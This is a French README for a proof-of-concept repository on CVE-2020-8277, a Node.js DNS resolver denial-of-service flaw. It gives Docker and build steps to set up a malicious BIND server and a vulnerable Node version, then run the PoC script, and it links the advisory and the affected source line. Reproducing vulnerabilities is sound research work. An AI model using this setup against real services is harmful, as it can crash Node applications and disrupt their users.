
Exploit de preuve de concept pour CVE-2020-8277, une vulnérabilité de déni de service du résolveur DNS Node.js déclenchée par des réponses d'enregistrement volumineuses, avec un environnement de reproduction basé sur Docker.
À des fins éducatives uniquement.
# clone this repository
$ git clone https://github.com/masahiro331/CVE-2020-8277
# run bind
$ docker build -t bind-local ./bind
# Need TCP fallback
$ docker run --rm --name bind -it -p 53:53 -p 53:53/udp bind
# use "< v15.2.1" version
# If you use fixed version, build node.
$ git clone https://github.com/nodejs/node
$ git checkout df211208c0
$ ./configure
$ make -j8
$ make install
# Run PoC
$ node main.js
Voir la référence pour les détails.
https://nodejs.org/en/blog/vulnerability/november-2020-security-releases/
L'avis indique que la résolution d'un nom d'hôte qui renvoie un grand nombre d'enregistrements entraînera un déni de service (DoS).
La vulnérabilité présente une erreur de lecture hors mémoire.
Ligne affectée.
https://github.com/nodejs/node/blob/1fd2c8142b611baadc973947b83c0863cb003d9d/src/cares_wrap.cc#L764